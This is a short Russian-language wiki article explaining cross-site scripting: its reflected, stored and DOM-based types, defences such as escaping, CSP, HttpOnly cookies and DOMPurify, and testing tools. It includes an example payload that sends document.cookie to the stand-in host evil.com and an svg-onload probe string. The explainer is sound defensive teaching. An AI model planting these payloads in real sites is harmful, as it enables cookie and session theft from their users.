Wiki
Безопасность

XSS — Cross-Site Scripting простыми словами

XSS — уязвимость: атакующий внедряет JS-код в страницу, который выполняется в браузере жертвы. Ворует cookies, сессии, данные форм. Топ-3 угрозы OWASP.

XSS (Cross-Site Scripting) — семейство уязвимостей, где злоумышленник заставляет сайт отдать в HTML пользователя чужой JavaScript. Скрипт выполняется в контексте домена → доступ к document.cookie, localStorage, любым API запросам от имени жертвы. Топ-3 OWASP многие годы.

Три типа: (1) Reflected XSS — payload в URL/форме, страница возвращает без экранирования. Пример: `search?q=<script>fetch('//evil.com?c='+document.cookie)</script>`. (2) Stored XSS — payload сохраняется в БД (комментарий, профиль), потом отдаётся всем читателям. Самый опасный ("XSS-червь" на MySpace 2005 — 1 млн заражений за сутки). (3) DOM-based XSS — сервер чистый, но JS-фреймворк на клиенте вставляет `innerHTML = location.hash`.

Защита: (1) экранирование при выводе — React, Vue, Svelte делают это по умолчанию (`{userInput}` безопасно, `dangerouslySetInnerHTML` опасно). (2) CSP — блокирует исполнение inline и с чужих доменов. (3) HttpOnly cookies — сессионная кука недоступна из JS. (4) Валидация ввода на сервере — allow-list разрешённых тегов через DOMPurify. (5) Trusted Types — новый API Chrome, полностью запрещает string → DOM.

Тест: OWASP ZAP, Burp Suite Scanner, полу-ручные пробы (`"><svg onload=alert(1)>` в каждое поле).

Частые вопросы

React полностью защищает?
От основных случаев да, но `dangerouslySetInnerHTML`, `href={userUrl}` (может быть `javascript:`), рендер SSR raw — дыры остаются.
XSS через SVG?
Да — `<svg onload>` исполняется. При аплоаде юзерских SVG — конвертировать в PNG или sanitize через DOMPurify.

Смотрите также